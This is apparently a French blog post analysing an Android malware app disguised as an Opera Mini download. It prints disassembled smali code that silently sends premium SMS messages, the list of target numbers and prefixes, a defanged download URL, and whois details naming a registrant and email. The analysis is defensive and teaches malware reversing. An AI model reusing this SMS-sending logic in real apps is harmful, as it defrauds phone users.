Reverse de malware Android

Written by aaSSfxxx -

Bonjour à tous!

Ayant analysé un malware Android (nommé operaandroidi14.apk) que j'ai téléchargé par hasard sur le Net, j'ai donc décidé d'expliquer comment reverser un malware android à partir d'un exemple concret.
Ce malware nous propose de télécharger le navigateur Opera gratuitement (alors que celui-ci est disponible sur Internet), cependant, l'application effectue quelques actions à l'insu de l'utilisateur avant de donner le lien de téléchargement d'une version d'Opera (très certainement backdoorée...).
Je présenterai donc ici la structure d'une application Android, avant d'attaquer le reversing du malware, et la collecte d'informations sur son créateur.

Structure d'un fichier APK, et tools nécessaires

Une application Android est fichier .apk, qui, techniquement n'est qu'une archive .zip renomée. Cette archive contient quelques fichiers et dossiers qui nous intéresseront:

  • Le dossier res: Contient toutes les ressources (données) dont se sert l'application
  • Le fichier classes.dex: C'est le fichier qui contient tout le code compilé de l'application Android.

L'étude de notre malware va donc se focaliser sur ce fameux "classes.dex" ainsi que sur les ressources. Ce fichier contient du bytecode, qu'il va nous falloir désassembler à l'aide de baksmali (il vous faudra bien évidemment installer la JVM). On désassemblera le tout à l'aide de la commande, une fois avoir extrait l'archive APK:

java -jar baksmali-1.2.8.jar -s classes.dex

Cette commande nous génère un dossier "out", qui contient tout le code "smali" (une sorte d'assembleur pour le bytecode du JIT compiler d'Android) de notre application. Passons donc à l'analyse de cette application.

Reversing du malware

On va commencer par rechercher le point d'entrée de l'application (repérable grâce à la méthode onCreate). On va donc utiliser un coup de "grep", qui nous informe que le fichier incriminé est out/com/registr/registrator/RegistratorActivity.smali, et le code de la fonction est:

.method public onCreate(Landroid/os/Bundle;)V
    .registers 4
    .parameter "savedInstanceState"

    .prologue
    .line 20
    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    .line 21
    const/high16 v0, 0x7f03

    invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->setContentView(I)V

    .line 23
    const/high16 v0, 0x7f06

    invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v0

    check-cast v0, Landroid/widget/TextView;

    const v1, 0x7f040002

    invoke-direct {p0, v1}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

    move-result-object v1

    invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 25
    const v0, 0x7f060001

    invoke-virtual {p0, v0}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v0

    new-instance v1, Lcom/registr/registrator/RegistratorActivity$1;

    invoke-direct {v1, p0}, Lcom/registr/registrator/RegistratorActivity$1;-><init>(Lcom/registr/registrator/RegistratorActivity;)V

    invoke-virtual {v0, v1}, Landroid/view/View;->setOnClickListener(Landroid/view/View$OnClickListener;)V

    .line 33
    return-void
.end method

Ce code initialise l'interface utilisateur de l'application, puis pose un ClickListener sur le bouton. On va donc regarder de plus près le listener, contenu dans out/com/registr/registrator/RegistratorActivity$1.smali. On peut aussi remarquer dans le code de RegistratorActivity.smali des méthodes nommées "sendAction" et "sendSMS", ce qui nous permet de deviner que l'application enverra des SMS à un moment ou un autre.

Examinons de plus près le code de RegistratorActivity$1.smali.

.method public onClick(Landroid/view/View;)V
    .registers 3
    .parameter "v"

    .prologue
    .line 30
    iget-object v0, p0, Lcom/registr/registrator/RegistratorActivity$1;->this$0:Lcom/registr/registrator/RegistratorActivity;

    invoke-static {v0}, Lcom/registr/registrator/RegistratorActivity;->access$000(Lcom/registr/registrator/RegistratorActivity;)V

    .line 31
    return-void
.end method

Cette méthode appelle RegistratorActivity.access$000, qui a pour vocation d'appeler RegistratorActivity.sendAction, une des fonctions bizarres repérées à l'instant. Regardons donc de plus près cette fonction.

.method private sendAction()V
    .registers 10

    .prologue
    .line 37
    const v7, 0x7f040001  #load "sms" resource

    invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

    move-result-object v6

    .line 39
    .local v6, xml:Ljava/lang/String;
    const-string v7, "item"

    invoke-static {v6, v7}, Lcom/registr/registrator/XMLParser;->getList(Ljava/lang/String;Ljava/lang/String;)Ljava/util/Vector;

    move-result-object v0

    .line 42
    .local v0, EItemsXML:Ljava/util/Vector;,"Ljava/util/Vector<Ljava/lang/String;>;"
    const/4 v1, 0x0

    .local v1, i:I
  :goto_0
    invoke-virtual {v0}, Ljava/util/Vector;->size()I

    move-result v7

    # ici, on parcourt tous les éléments de la liste   
    if-ge v1, v7, :cond_0

    .line 44
    invoke-virtual {v0, v1}, Ljava/util/Vector;->elementAt(I)Ljava/lang/Object;

    move-result-object v4

    check-cast v4, Ljava/lang/String;

    .line 45
    .local v4, tmp:Ljava/lang/String;
    const-string v7, "number"

    invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v2

    .line 46
    .local v2, number:Ljava/lang/String;
    const-string v7, "prefix"

    invoke-static {v4, v7}, Lcom/registr/registrator/XMLParser;->getParamString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v3

    .line 48
    .local v3, prefix:Ljava/lang/String;
    invoke-direct {p0, v2, v3}, Lcom/registr/registrator/RegistratorActivity;->sendSMS(Ljava/lang/String;Ljava/lang/String;)V

    .line 42
    add-int/lit8 v1, v1, 0x1

    goto :goto_0

    .line 52
    .end local v2           #number:Ljava/lang/String;
    .end local v3           #prefix:Ljava/lang/String;
    .end local v4           #tmp:Ljava/lang/String;
    :cond_0
    const v7, 0x7f060001

    invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v7

    const/4 v8, 0x4

    invoke-virtual {v7, v8}, Landroid/view/View;->setVisibility(I)V

    .line 53
    const/high16 v7, 0x7f06

    invoke-virtual {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->findViewById(I)Landroid/view/View;

    move-result-object v5

    check-cast v5, Landroid/widget/TextView;

    .line 54
    .local v5, tv:Landroid/widget/TextView;
    const/high16 v7, 0x7f04

    invoke-direct {p0, v7}, Lcom/registr/registrator/RegistratorActivity;->loadString(I)Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v5, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V

    .line 55
    const/4 v7, 0x1

    invoke-static {v5, v7}, Landroid/text/util/Linkify;->addLinks(Landroid/widget/TextView;I)Z

    .line 56
    return-void
.end method

On voit clairement ici que le malware va récupérer la ressource id 0x7f040001, et parser le XML contenu à l'intérieur. Or, un coup de grep nous dit que la ressource 0x7f04001 appartient au fichier "sms.txt". Le malware va enfin passer en revue tous les numéros contenus dans la ressource, et envoyer un SMS à ces numéros, avant d'afficher le lien de téléchargement de l'APK.

Notre malware, lors du clic sur le bouton, va donc envoyer un SMS aux numéros contenus dans la ressource à l'insu de l'utilisateur, avant d'afficher le lien de téléchargement du "vrai" navigateur. 4 fun, je vous paste le contenu de sms.txt.

<item number="7495" prefix="amdetoi142f"/>
<item number="7495" prefix="amdetoi142s"/>
<item number="4446" prefix="amdetoi142"/>

Recherche d'informations

Le lien est stocké dans la ressource 0x7f040000, i.e link.txt, qui contient ce lien: hxxp://mini-opera-6.in/files/Opera_Mini_6_1_Android.apk. Un whois sur le domaine nous montre que ce domaine est enregistré au nom de Mikhail Denin, avec pour e-mail de contact whoismail2010@gmail.com. L'adresse IP du serveur est 188.95.54.32, qui possède 5 domaines: browserdupdate.biz, browsergupdate.com, browserfupdate.biz, browserxlupdate.com, opera-mini-6.net, pointant tous vers la même page. On peut donc conclure qu'il s'agit proablement d'une opération d'escroquerie destinée au public russe (les "conditions d'utilition" mentionnent une société nommée "Opera Soft" qui n'a aucune existence ...).

Mot de la fin: On peut voir que lorsqu'on tente d'installer l'application, celle-ci demande l'autorisation d'envoyer des SMS. Une question se pose alors: pourquoi un navigateur web (ou une appli devant l'installer) aurait besoin d'envoyer un SMS? Il faut donc TOUJOURS vérifier les autorisations des applications.

That's all folks ! :þ